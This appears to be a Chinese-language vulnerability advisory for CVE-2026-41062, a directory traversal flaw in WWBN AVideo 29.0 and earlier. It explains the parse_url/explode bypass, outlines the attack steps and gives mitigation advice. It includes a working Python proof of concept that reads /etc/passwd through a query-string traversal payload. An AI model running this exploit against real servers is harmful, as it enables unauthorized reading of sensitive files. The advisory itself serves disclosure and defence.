IPBUF安全漏洞报告
English
CVE-2026-41062 CVSS 6.5 中危

CVE-2026-41062 AVideo目录遍历漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-41062
漏洞类型
目录遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

目录遍历文件读取WWBN AVideoCVE-2026-41062Path Traversal

漏洞概述

WWBN AVideo是一个开源视频平台。在29.0及以下版本中,存在一个目录遍历漏洞。尽管开发者在`objects/aVideoEncoderReceiveImage.json.php`中尝试修复了路径遍历问题,但该修复仅检查URL路径部分。然而,处理文件的函数`try_get_contents_from_local()`却对包含查询字符串的完整URL进行分割。攻击者可利用查询参数注入恶意路径载荷,绕过安全检查,进而读取服务器上的任意敏感文件。

技术细节

该漏洞源于安全验证逻辑与数据处理逻辑之间的不一致。在`objects/aVideoEncoderReceiveImage.json.php`中,修复代码使用`parse_url($url, PHP_URL_PATH)`提取URL路径并检查是否存在`..`序列。然而,在`objects/functionsFile.php`中的`try_get_contents_from_local()`函数里,代码直接使用`explode('/videos/', $url)`对完整的URL字符串(包括查询参数)进行分割处理。攻击者可以将遍历载荷(如`/videos/../../`)放置在URL的查询字符串部分。此时,`parse_url`提取的路径部分可能不包含`..`从而通过验证,但`explode`函数处理完整URL时会解析出跳转路径。这种逻辑差异导致安全检查被绕过,使得攻击者能够读取服务器文件系统中的任意文件。

攻击链分析

STEP 1
侦察
攻击者识别目标运行的是WWBN AVideo 29.0或更低版本。
STEP 2
构造载荷
攻击者构造包含特殊路径(如/videos/../../etc/passwd)的URL,并将该路径放置在查询参数中。
STEP 3
发送请求
向`objects/aVideoEncoderReceiveImage.json.php`发送恶意HTTP请求。
STEP 4
绕过检查
服务器的`parse_url`检查认为路径部分安全,但`explode`函数处理完整URL字符串时解析了目录跳转。
STEP 5
读取文件
服务器读取并返回攻击者指定的敏感文件内容(如/etc/passwd)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_poc(target_url): """ PoC for CVE-2026-41062 The vulnerability allows reading arbitrary files by placing the traversal payload in the query string, bypassing the parse_url check. """ # The vulnerable endpoint endpoint = "/objects/aVideoEncoderReceiveImage.json.php" # Payload: Injecting the traversal sequence in the query string # The vulnerable script splits the full URL string by '/videos/' # So we inject '/videos/../../' in a parameter to trigger the path traversal payload = "?url=http://attacker.com/videos/../../etc/passwd" full_url = target_url + endpoint + payload try: response = requests.get(full_url, timeout=10) # Check if we successfully read the file (e.g., looking for 'root:' in /etc/passwd) if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability confirmed! Arbitrary file read is possible.") print(f"[+] Response content snippet: {response.text[:200]}") else: print("[-] Vulnerability not detected or target is patched.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target IP/Domain check_poc(target)

影响范围

WWBN AVideo <= 29.0

防御指南

临时缓解措施
建议立即升级WWBN AVideo至官方发布的最新版本以修复此漏洞。如果无法立即升级,应通过Web应用防火墙(WAF)实施规则,拦截URL查询参数中包含“../”或“..”字符序列的请求,并严格限制对相关接口的外部访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表